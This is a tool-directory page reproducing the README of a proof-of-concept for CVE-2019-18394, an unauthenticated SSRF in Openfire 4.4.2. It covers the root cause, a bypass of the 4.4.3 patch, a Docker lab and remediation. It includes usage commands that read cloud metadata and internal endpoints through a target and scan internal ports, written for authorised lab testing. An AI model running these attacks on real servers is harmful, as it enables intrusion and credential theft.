Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
openfire-ssrf-cve-2019-18394 — PoC for CVE-2019-18394: unauthenticated full-read SSRF in Openfire <= 4.4.2 FaviconServlet | Kitploit
Tools/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubl0lsec/openfire-ssrf-cve-2019-18394

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

openfire-ssrf-cve-2019-18394

PoC for CVE-2019-18394: unauthenticated full-read SSRF in Openfire <= 4.4.2 FaviconServlet

View Repository
1 day agoNot yet reviewed

CVE-2019-18394: Openfire FaviconServlet SSRF

Unauthenticated Server-Side Request Forgery in Ignite Realtime Openfire 4.4.2 and earlier (admin console, default TCP 9090/9091). Fixed in 4.4.3 (issue OF-1885).

  • Request forgery: the host parameter is concatenated into an outbound URL with no validation, so the server issues an attacker-chosen HTTP GET.
  • Response disclosure: on HTTP 200 the raw upstream body is written back to the caller. This is a full-read SSRF, not a blind one.
  • No auth: /getFavicon is not behind the admin-console AuthCheckFilter and responds even while the server is still in its unconfigured setup state.

Authorised testing only. Everything here targets a local lab you stand up yourself.

Root cause

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):

root@kitploit:~
public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

Unauthenticated. In xmppserver/src/main/webapp/WEB-INF/web.xml the AuthCheck filter is mapped only to *.jsp, PluginServlet, and dwr-invoker. FaviconServlet is mapped to the plain path /getFavicon, so no auth filter runs for it.

Arbitrary path, not just arbitrary host. The code hard-codes the /favicon.ico suffix. Ending host with a query string pushes that suffix into a parameter value:

root@kitploit:~
host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

Scheme is fixed to http://. https:// targets are not directly reachable, but the servlet's client uses LaxRedirectStrategy, so an http endpoint that 302-redirects onward is.

The 4.4.3 fix and its limits

root@kitploit:~
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage() is ImageIO.read(bytes) != null, a content check, not a destination check. Two things survive the patch:

  • The forged outbound request is still sent, so blind SSRF (port scan, internal service interaction, redirect pivots) still works on 4.4.3.
  • Any response that parses as an image is still returned in full, and arbitrary bytes can trail the image data, so image-shaped full-read disclosure still works on 4.4.3.

Detection oracle

  • Every outcome is HTTP 200, so success and failure differ only in the body. The tool captures a failure signature by forcing two guaranteed-miss (NXDOMAIN) requests and comparing them. The on-disk /images/server_16x16.gif is not used as the baseline: a server that failed to load it at init returns an empty failure body instead, and mismatching the two gives wrong results.
  • Presence is confirmed structurally: a miss answers 200 while an unmapped sibling path answers 404, which separates a real FaviconServlet mapping from a catch-all.
  • FaviconServlet caches hits and misses keyed on the raw host and short-circuits after two misses. The tool adds a unique cb= cache-buster to every probe so repeat runs are not served stale results.

Usage

Python 3 standard library, no dependencies.

root@kitploit:~
check   confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read    fetch an arbitrary http:// URL through the target (full-read SSRF)
scan    probe internal TCP ports from the target's network position
root@kitploit:~
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

Flags: --callback-host (address the target calls back to), --listen-bind / --listen-port (local listener), --marker-format gif (return image-parseable content that passes the 4.4.3 isImage() gate), --proxy, --json.

Exit codes: 0 ok, 1 finding, 2 error or not vulnerable, 3 inconclusive.

Lab and validated results

Differential Docker setup: vulnerable 4.4.2 (console on :9090), patched 4.4.3 (on :9092), and an internal-only service the host cannot reach directly.

root@kitploit:~
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

The internal nginx has no host port mapping, so a direct fetch from the host returns HTTP 000, but Openfire can reach it. Reading its SECRET_FLAG proves the request crossed the trust boundary. On Docker Desktop the target reaches your listener via host.docker.internal (pass it to --callback-host). On native Linux Docker, use the docker0 gateway IP or omit --callback-host to autodetect.

root@kitploit:~
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

Each callback arrived with User-Agent: Apache-HttpClient/... (Java/...), confirming the request came from Openfire's own HTTP client, not the tool.

Note: the gif result confirms full-read SSRF but does not distinguish 4.4.2 from 4.4.3, since image-shaped disclosure works on both. Use the default text marker to tell pre-fix from post-fix.

read: 4.4.2 disclosed the internal SECRET_FLAG; 4.4.3 withheld the HTML page but still returned an internal .gif fetched via the path trick.

root@kitploit:~
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal   # tear down

Remediation

Upgrade to Openfire 4.4.3 or later. The isImage() fix does not stop the outbound request or image-shaped disclosure, so where the favicon-proxy feature is unnecessary, also restrict egress from the Openfire host and place the admin console (9090/9091) behind network controls.

Files

root@kitploit:~
cve_2019_18394_poc.py   the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md               this document

check writes a JSON evidence record when given --json <file>.

Download Tool
TargetMarkerCallbackBody disclosedVerdictExit
4.4.2 (vuln)textyesyes, verbatimVULNERABLE (unpatched)1
4.4.3 (patched)textyesno, withheld by isImage()PARTIALLY_MITIGATED (blind SSRF)1
4.4.3 (patched)gifyesyes, image + trailing textVULNERABLE full-read (see note)1
non-Openfire (nginx)n/an/an/aendpoint absent2